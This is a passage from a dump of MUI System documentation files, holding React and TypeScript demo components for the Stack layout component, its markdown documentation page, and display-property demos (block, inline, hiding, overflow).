    "content": "import Box from '@mui/system/Box';\nimport Stack from '@mui/system/Stack';\nimport { styled } from '@mui/system';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  borderRadius: 4,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#262B32',\n  }),\n}));\n\nexport default function BasicStack() {\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Stack spacing={2}>\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Stack>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/stack/BasicStack.tsx.preview",
    "content": "<Stack spacing={2}>\n  <Item>Item 1</Item>\n  <Item>Item 2</Item>\n  <Item>Item 3</Item>\n</Stack>"
  },
  {
    "path": "docs/data/system/components/stack/DirectionStack.js",
    "content": "import Stack from '@mui/system/Stack';\nimport { styled } from '@mui/system';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  borderRadius: 4,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#262B32',\n  }),\n}));\n\nexport default function DirectionStack() {\n  return (\n    <div>\n      <Stack direction=\"row\" spacing={2}>\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Stack>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/stack/DirectionStack.tsx",
    "content": "import Stack from '@mui/system/Stack';\nimport { styled } from '@mui/system';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  borderRadius: 4,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#262B32',\n  }),\n}));\n\nexport default function DirectionStack() {\n  return (\n    <div>\n      <Stack direction=\"row\" spacing={2}>\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Stack>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/stack/DirectionStack.tsx.preview",
    "content": "<Stack direction=\"row\" spacing={2}>\n  <Item>Item 1</Item>\n  <Item>Item 2</Item>\n  <Item>Item 3</Item>\n</Stack>"
  },
  {
    "path": "docs/data/system/components/stack/DividerStack.js",
    "content": "import Box from '@mui/system/Box';\nimport Stack from '@mui/system/Stack';\nimport { styled } from '@mui/system';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  borderRadius: 4,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#262B32',\n  }),\n}));\n\nexport default function DividerStack() {\n  return (\n    <div>\n      <Stack\n        direction=\"row\"\n        divider={\n          <Box\n            component=\"hr\"\n            sx={(theme) => ({\n              border: `1px solid ${'#fff'}`,\n              ...theme.applyStyles('dark', {\n                border: `1px solid ${'#262B32'}`,\n              }),\n            })}\n          />\n        }\n        spacing={2}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Stack>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/stack/DividerStack.tsx",
    "content": "import Box from '@mui/system/Box';\nimport Stack from '@mui/system/Stack';\nimport { styled } from '@mui/system';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  borderRadius: 4,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#262B32',\n  }),\n}));\n\nexport default function DividerStack() {\n  return (\n    <div>\n      <Stack\n        direction=\"row\"\n        divider={\n          <Box\n            component=\"hr\"\n            sx={(theme) => ({\n              border: `1px solid ${'#fff'}`,\n              ...theme.applyStyles('dark', {\n                border: `1px solid ${'#262B32'}`,\n              }),\n            })}\n          />\n        }\n        spacing={2}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Stack>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/stack/FlexboxGapStack.js",
    "content": "import Stack from '@mui/system/Stack';\nimport Box from '@mui/system/Box';\nimport { styled } from '@mui/system';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  borderRadius: 4,\n  flexGrow: 1,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#262B32',\n  }),\n}));\n\nexport default function FlexboxGapStack() {\n  return (\n    <Box sx={{ width: 200 }}>\n      <Stack\n        spacing={{ xs: 1, sm: 2 }}\n        direction=\"row\"\n        useFlexGap\n        sx={{ flexWrap: 'wrap' }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Long content</Item>\n      </Stack>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/stack/FlexboxGapStack.tsx",
    "content": "import Stack from '@mui/system/Stack';\nimport Box from '@mui/system/Box';\nimport { styled } from '@mui/system';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  borderRadius: 4,\n  flexGrow: 1,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#262B32',\n  }),\n}));\n\nexport default function FlexboxGapStack() {\n  return (\n    <Box sx={{ width: 200 }}>\n      <Stack\n        spacing={{ xs: 1, sm: 2 }}\n        direction=\"row\"\n        useFlexGap\n        sx={{ flexWrap: 'wrap' }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Long content</Item>\n      </Stack>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/stack/FlexboxGapStack.tsx.preview",
    "content": "<Stack\n  spacing={{ xs: 1, sm: 2 }}\n  direction=\"row\"\n  useFlexGap\n  sx={{ flexWrap: 'wrap' }}\n>\n  <Item>Item 1</Item>\n  <Item>Item 2</Item>\n  <Item>Long content</Item>\n</Stack>"
  },
  {
    "path": "docs/data/system/components/stack/InteractiveStack.js",
    "content": "import * as React from 'react';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Paper from '@mui/material/Paper';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Radio from '@mui/material/Radio';\nimport Grid from '@mui/system/Grid';\nimport Stack from '@mui/system/Stack';\nimport { styled } from '@mui/system';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  borderRadius: 4,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#262B32',\n  }),\n}));\n\nexport default function InteractiveStack() {\n  const [direction, setDirection] = React.useState('row');\n  const [justifyContent, setJustifyContent] = React.useState('center');\n  const [alignItems, setAlignItems] = React.useState('center');\n  const [spacing, setSpacing] = React.useState(2);\n\n  const jsx = `\n<Stack\n  direction=\"${direction}\"\n  spacing={${spacing}}\n  sx={{\n    justifyContent: \"${justifyContent}\",\n    alignItems: \"${alignItems}\",\n  }}\n>\n`;\n\n  return (\n    <Stack sx={{ flexGrow: 1 }}>\n      <Stack\n        direction={direction}\n        spacing={spacing}\n        sx={{ justifyContent, alignItems, height: 240 }}\n      >\n        {[0, 1, 2].map((value) => (\n          <Item key={value} sx={{ p: 2, pt: value + 1, pb: value + 1 }}>\n            {`Item ${value + 1}`}\n          </Item>\n        ))}\n      </Stack>\n      <Paper sx={{ p: 2 }}>\n        <Grid container spacing={3}>\n          <Grid size={12}>\n            <FormControl component=\"fieldset\">\n              <FormLabel component=\"legend\">direction</FormLabel>\n              <RadioGroup\n                row\n                name=\"direction\"\n                aria-label=\"direction\"\n                value={direction}\n                onChange={(event) => {\n                  setDirection(event.target.value);\n                }}\n              >\n                <FormControlLabel value=\"row\" control={<Radio />} label=\"row\" />\n                <FormControlLabel\n                  value=\"row-reverse\"\n                  control={<Radio />}\n                  label=\"row-reverse\"\n                />\n                <FormControlLabel\n                  value=\"column\"\n                  control={<Radio />}\n                  label=\"column\"\n                />\n                <FormControlLabel\n                  value=\"column-reverse\"\n                  control={<Radio />}\n                  label=\"column-reverse\"\n                />\n              </RadioGroup>\n            </FormControl>\n          </Grid>\n          <Grid size={12}>\n            <FormControl component=\"fieldset\">\n              <FormLabel component=\"legend\">alignItems</FormLabel>\n              <RadioGroup\n                row\n                name=\"alignItems\"\n                aria-label=\"align items\"\n                value={alignItems}\n                onChange={(event) => {\n                  setAlignItems(event.target.value);\n                }}\n              >\n                <FormControlLabel\n                  value=\"flex-start\"\n                  control={<Radio />}\n                  label=\"flex-start\"\n                />\n                <FormControlLabel\n                  value=\"center\"\n                  control={<Radio />}\n                  label=\"center\"\n                />\n                <FormControlLabel\n                  value=\"flex-end\"\n                  control={<Radio />}\n                  label=\"flex-end\"\n                />\n                <FormControlLabel\n                  value=\"stretch\"\n                  control={<Radio />}\n                  label=\"stretch\"\n                />\n                <FormControlLabel\n                  value=\"baseline\"\n                  control={<Radio />}\n                  label=\"baseline\"\n                />\n              </RadioGroup>\n            </FormControl>\n          </Grid>\n          <Grid size={12}>\n            <FormControl component=\"fieldset\">\n              <FormLabel component=\"legend\">justifyContent</FormLabel>\n              <RadioGroup\n                row\n                name=\"justifyContent\"\n                aria-label=\"justifyContent\"\n                value={justifyContent}\n                onChange={(event) => {\n                  setJustifyContent(event.target.value);\n                }}\n              >\n                <FormControlLabel\n                  value=\"flex-start\"\n                  control={<Radio />}\n                  label=\"flex-start\"\n                />\n                <FormControlLabel\n                  value=\"center\"\n                  control={<Radio />}\n                  label=\"center\"\n                />\n                <FormControlLabel\n                  value=\"flex-end\"\n                  control={<Radio />}\n                  label=\"flex-end\"\n                />\n                <FormControlLabel\n                  value=\"space-between\"\n                  control={<Radio />}\n                  label=\"space-between\"\n                />\n                <FormControlLabel\n                  value=\"space-around\"\n                  control={<Radio />}\n                  label=\"space-around\"\n                />\n                <FormControlLabel\n                  value=\"space-evenly\"\n                  control={<Radio />}\n                  label=\"space-evenly\"\n                />\n              </RadioGroup>\n            </FormControl>\n          </Grid>\n          <Grid size={12}>\n            <FormControl component=\"fieldset\">\n              <FormLabel component=\"legend\">spacing</FormLabel>\n              <RadioGroup\n                row\n                name=\"spacing\"\n                aria-label=\"spacing\"\n                value={spacing.toString()}\n                onChange={(event) => {\n                  setSpacing(Number(event.target.value));\n                }}\n              >\n                {[0, 0.5, 1, 2, 3, 4, 8, 12].map((value) => (\n                  <FormControlLabel\n                    key={value}\n                    value={value.toString()}\n                    control={<Radio />}\n                    label={value}\n                  />\n                ))}\n              </RadioGroup>\n            </FormControl>\n          </Grid>\n        </Grid>\n      </Paper>\n      <HighlightedCode code={jsx} language=\"jsx\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/stack/InteractiveStack.tsx",
    "content": "import * as React from 'react';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Paper from '@mui/material/Paper';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Radio from '@mui/material/Radio';\nimport Grid from '@mui/system/Grid';\nimport Stack, { StackProps } from '@mui/system/Stack';\nimport { styled } from '@mui/system';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  borderRadius: 4,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#262B32',\n  }),\n}));\n\nexport default function InteractiveStack() {\n  const [direction, setDirection] = React.useState<StackProps['direction']>('row');\n  const [justifyContent, setJustifyContent] = React.useState('center');\n  const [alignItems, setAlignItems] = React.useState('center');\n  const [spacing, setSpacing] = React.useState(2);\n\n  const jsx = `\n<Stack\n  direction=\"${direction}\"\n  spacing={${spacing}}\n  sx={{\n    justifyContent: \"${justifyContent}\",\n    alignItems: \"${alignItems}\",\n  }}\n>\n`;\n\n  return (\n    <Stack sx={{ flexGrow: 1 }}>\n      <Stack\n        direction={direction}\n        spacing={spacing}\n        sx={{ justifyContent, alignItems, height: 240 }}\n      >\n        {[0, 1, 2].map((value) => (\n          <Item key={value} sx={{ p: 2, pt: value + 1, pb: value + 1 }}>\n            {`Item ${value + 1}`}\n          </Item>\n        ))}\n      </Stack>\n      <Paper sx={{ p: 2 }}>\n        <Grid container spacing={3}>\n          <Grid size={12}>\n            <FormControl component=\"fieldset\">\n              <FormLabel component=\"legend\">direction</FormLabel>\n              <RadioGroup\n                row\n                name=\"direction\"\n                aria-label=\"direction\"\n                value={direction}\n                onChange={(event) => {\n                  setDirection(event.target.value as StackProps['direction']);\n                }}\n              >\n                <FormControlLabel value=\"row\" control={<Radio />} label=\"row\" />\n                <FormControlLabel\n                  value=\"row-reverse\"\n                  control={<Radio />}\n                  label=\"row-reverse\"\n                />\n                <FormControlLabel\n                  value=\"column\"\n                  control={<Radio />}\n                  label=\"column\"\n                />\n                <FormControlLabel\n                  value=\"column-reverse\"\n                  control={<Radio />}\n                  label=\"column-reverse\"\n                />\n              </RadioGroup>\n            </FormControl>\n          </Grid>\n          <Grid size={12}>\n            <FormControl component=\"fieldset\">\n              <FormLabel component=\"legend\">alignItems</FormLabel>\n              <RadioGroup\n                row\n                name=\"alignItems\"\n                aria-label=\"align items\"\n                value={alignItems}\n                onChange={(event) => {\n                  setAlignItems(event.target.value);\n                }}\n              >\n                <FormControlLabel\n                  value=\"flex-start\"\n                  control={<Radio />}\n                  label=\"flex-start\"\n                />\n                <FormControlLabel\n                  value=\"center\"\n                  control={<Radio />}\n                  label=\"center\"\n                />\n                <FormControlLabel\n                  value=\"flex-end\"\n                  control={<Radio />}\n                  label=\"flex-end\"\n                />\n                <FormControlLabel\n                  value=\"stretch\"\n                  control={<Radio />}\n                  label=\"stretch\"\n                />\n                <FormControlLabel\n                  value=\"baseline\"\n                  control={<Radio />}\n                  label=\"baseline\"\n                />\n              </RadioGroup>\n            </FormControl>\n          </Grid>\n          <Grid size={12}>\n            <FormControl component=\"fieldset\">\n              <FormLabel component=\"legend\">justifyContent</FormLabel>\n              <RadioGroup\n                row\n                name=\"justifyContent\"\n                aria-label=\"justifyContent\"\n                value={justifyContent}\n                onChange={(event) => {\n                  setJustifyContent(event.target.value);\n                }}\n              >\n                <FormControlLabel\n                  value=\"flex-start\"\n                  control={<Radio />}\n                  label=\"flex-start\"\n                />\n                <FormControlLabel\n                  value=\"center\"\n                  control={<Radio />}\n                  label=\"center\"\n                />\n                <FormControlLabel\n                  value=\"flex-end\"\n                  control={<Radio />}\n                  label=\"flex-end\"\n                />\n                <FormControlLabel\n                  value=\"space-between\"\n                  control={<Radio />}\n                  label=\"space-between\"\n                />\n                <FormControlLabel\n                  value=\"space-around\"\n                  control={<Radio />}\n                  label=\"space-around\"\n                />\n                <FormControlLabel\n                  value=\"space-evenly\"\n                  control={<Radio />}\n                  label=\"space-evenly\"\n                />\n              </RadioGroup>\n            </FormControl>\n          </Grid>\n          <Grid size={12}>\n            <FormControl component=\"fieldset\">\n              <FormLabel component=\"legend\">spacing</FormLabel>\n              <RadioGroup\n                row\n                name=\"spacing\"\n                aria-label=\"spacing\"\n                value={spacing.toString()}\n                onChange={(event: React.ChangeEvent<HTMLInputElement>) => {\n                  setSpacing(Number((event.target as HTMLInputElement).value));\n                }}\n              >\n                {[0, 0.5, 1, 2, 3, 4, 8, 12].map((value) => (\n                  <FormControlLabel\n                    key={value}\n                    value={value.toString()}\n                    control={<Radio />}\n                    label={value}\n                  />\n                ))}\n              </RadioGroup>\n            </FormControl>\n          </Grid>\n        </Grid>\n      </Paper>\n      <HighlightedCode code={jsx} language=\"jsx\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/stack/ResponsiveStack.js",
    "content": "import Stack from '@mui/system/Stack';\nimport { styled } from '@mui/system';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  borderRadius: 4,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#262B32',\n  }),\n}));\n\nexport default function ResponsiveStack() {\n  return (\n    <div>\n      <Stack\n        direction={{ xs: 'column', sm: 'row' }}\n        spacing={{ xs: 1, sm: 2, md: 4 }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Stack>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/stack/ResponsiveStack.tsx",
    "content": "import Stack from '@mui/system/Stack';\nimport { styled } from '@mui/system';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  borderRadius: 4,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#262B32',\n  }),\n}));\n\nexport default function ResponsiveStack() {\n  return (\n    <div>\n      <Stack\n        direction={{ xs: 'column', sm: 'row' }}\n        spacing={{ xs: 1, sm: 2, md: 4 }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Stack>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/stack/ResponsiveStack.tsx.preview",
    "content": "<Stack\n  direction={{ xs: 'column', sm: 'row' }}\n  spacing={{ xs: 1, sm: 2, md: 4 }}\n>\n  <Item>Item 1</Item>\n  <Item>Item 2</Item>\n  <Item>Item 3</Item>\n</Stack>"
  },
  {
    "path": "docs/data/system/components/stack/stack.md",
    "content": "---\nproductId: system\ntitle: React Stack component\ncomponents: Stack\ngithubLabel: 'component: Stack'\n---\n\n# Stack\n\n<p class=\"description\">Stack is a container component for arranging elements vertically or horizontally.</p>\n\n## Introduction\n\nThe Stack component manages the layout of its immediate children along the vertical or horizontal axis, with optional spacing and dividers between each child.\n\n:::info\nStack is ideal for one-dimensional layouts, while Grid is preferable when you need both vertical _and_ horizontal arrangement.\n:::\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\", \"design\": false}}\n\n## Basics\n\n```jsx\nimport Stack from '@mui/system/Stack';\n```\n\nThe Stack component acts as a generic container, wrapping around the elements to be arranged.\n\nUse the `spacing` prop to control the space between children.\nThe spacing value can be any number, including decimals, or a string.\n(The prop is converted into a CSS property using the [`theme.spacing()`](/material-ui/customization/spacing/) helper.)\n\n{{\"demo\": \"BasicStack.js\", \"bg\": true}}\n\n### Stack vs. Grid\n\n`Stack` is concerned with one-dimensional layouts, while [Grid](/system/react-grid/) handles two-dimensional layouts. The default direction is `column` which stacks children vertically.\n\n## Direction\n\nBy default, Stack arranges items vertically in a column.\nUse the `direction` prop to position items horizontally in a row:\n\n{{\"demo\": \"DirectionStack.js\", \"bg\": true}}\n\n## Dividers\n\nUse the `divider` prop to insert an element between each child, as shown below:\n\n{{\"demo\": \"DividerStack.js\", \"bg\": true}}\n\n## Responsive values\n\nYou can switch the `direction` or `spacing` values based on the active breakpoint.\n\n{{\"demo\": \"ResponsiveStack.js\", \"bg\": true}}\n\n## Flexbox gap\n\nTo use [flexbox `gap`](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/gap) for the spacing implementation, set the `useFlexGap` prop to true.\n\nIt removes the [known limitations](#limitations) of the default implementation that uses CSS nested selector. However, CSS flexbox gap is not fully supported in some browsers.\n\nWe recommend checking the [support percentage](https://caniuse.com/?search=flex%20gap) before using it.\n\n{{\"demo\": \"FlexboxGapStack.js\", \"bg\": true}}\n\n## Interactive demo\n\nBelow is an interactive demo that lets you explore the visual results of the different settings:\n\n{{\"demo\": \"InteractiveStack.js\", \"hideToolbar\": true, \"bg\": true}}\n\n## sx prop\n\nUse the [`sx` prop](/system/getting-started/the-sx-prop/) to quickly customize any Stack instance using a superset of CSS that has access to all the style functions and theme-aware properties exposed in the MUI System package.\nBelow is an example of how to apply center align items using this prop:\n\n```jsx\n<Stack sx={{ alignItems: 'center' }} />\n```\n\n## Limitations\n\n### Margin on the children\n\nCustomizing the margin on the children is not supported by default.\n\nFor instance, the top-margin on the `button` component below will be ignored.\n\n```jsx\n<Stack>\n  <button style={{ marginTop: '30px' }}>...</button>\n</Stack>\n```\n\n:::success\nTo overcome this limitation, set [`useFlexGap`](#flexbox-gap) prop to true to switch to CSS flexbox gap implementation.\n\nYou can learn more about this limitation by visiting this [RFC](https://github.com/mui/material-ui/issues/33754).\n:::\n\n### white-space: nowrap\n\nThe initial setting on flex items is `min-width: auto`.\nThis causes a positioning conflict when children use `white-space: nowrap;`.\nYou can reproduce the issue with:\n\n```jsx\n<Stack direction=\"row\">\n  <span style={{ whiteSpace: 'nowrap' }}>\n```\n\nIn order for the item to stay within the container you need to set `min-width: 0`.\n\n```jsx\n<Stack direction=\"row\" sx={{ minWidth: 0 }}>\n  <span style={{ whiteSpace: 'nowrap' }}>\n```\n\n## Anatomy\n\nThe Stack component is composed of a single root `<div>` element:\n\n```html\n<div class=\"MuiStack-root\">\n  <!-- Stack contents -->\n</div>\n```\n"
  },
  {
    "path": "docs/data/system/display/Block.js",
    "content": "import Box from '@mui/material/Box';\n\nexport default function Block() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        component=\"span\"\n        sx={(theme) => ({\n          display: 'block',\n          p: 1,\n          m: 1,\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        block\n      </Box>\n      <Box\n        component=\"span\"\n        sx={(theme) => ({\n          display: 'block',\n          p: 1,\n          m: 1,\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        block\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/display/Block.tsx",
    "content": "import Box from '@mui/material/Box';\n\nexport default function Block() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        component=\"span\"\n        sx={(theme) => ({\n          display: 'block',\n          p: 1,\n          m: 1,\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        block\n      </Box>\n      <Box\n        component=\"span\"\n        sx={(theme) => ({\n          display: 'block',\n          p: 1,\n          m: 1,\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        block\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/display/Hiding.js",
    "content": "import Box from '@mui/material/Box';\n\nexport default function Hiding() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{\n          display: { xs: 'block', md: 'none' },\n          m: 1,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n        }}\n      >\n        hide on screens wider than md\n      </Box>\n      <Box\n        sx={{\n          display: { xs: 'none', md: 'block' },\n          m: 1,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n        }}\n      >\n        hide on screens smaller than md\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/display/Hiding.tsx",
    "content": "import Box from '@mui/material/Box';\n\nexport default function Hiding() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{\n          display: { xs: 'block', md: 'none' },\n          m: 1,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n        }}\n      >\n        hide on screens wider than md\n      </Box>\n      <Box\n        sx={{\n          display: { xs: 'none', md: 'block' },\n          m: 1,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n        }}\n      >\n        hide on screens smaller than md\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/display/Inline.js",
    "content": "import Box from '@mui/material/Box';\n\nexport default function Inline() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        component=\"div\"\n        sx={(theme) => ({\n          display: 'inline',\n          p: 1,\n          m: 1,\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        inline\n      </Box>\n      <Box\n        component=\"div\"\n        sx={(theme) => ({\n          display: 'inline',\n          p: 1,\n          m: 1,\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        inline\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/display/Inline.tsx",
    "content": "import Box from '@mui/material/Box';\n\nexport default function Inline() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        component=\"div\"\n        sx={(theme) => ({\n          display: 'inline',\n          p: 1,\n          m: 1,\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        inline\n      </Box>\n      <Box\n        component=\"div\"\n        sx={(theme) => ({\n          display: 'inline',\n          p: 1,\n          m: 1,\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        inline\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/display/Overflow.js",
    "content": "import Box from '@mui/material/Box';\n\nexport default function Overflow() {\n  return (\n    <div style={{ width: 200, whiteSpace: 'nowrap' }}>\n      <Box\n        component=\"div\"\n        sx={(theme) => ({\n          overflow: 'hidden',\n          my: 2,\n          p: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Not scrollable, overflow is hidden\n      </Box>\n      <Box\n        component=\"div\"\n        sx={(theme) => ({\n          overflow: 'auto',\n          my: 2,\n          p: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Try scrolling this overflow auto box\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/display/Overflow.tsx",
    "content": "import Box from '@mui/material/Box';\n\nexport default function Overflow() {\n  return (\n    <div style={{ width: 200, whiteSpace: 'nowrap' }}>\n      <Box\n        component=\"div\"\n        sx={(theme) => ({\n          overflow: 'hidden',\n          my: 2,\n          p: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Not scrollable, overflow is hidden\n      </Box>\n      <Box\n        component=\"div\"\n        sx={(theme) => ({\n          overflow: 'auto',\n          my: 2,\n          p: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Try scrolling this overflow auto box\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/display/Print.js",
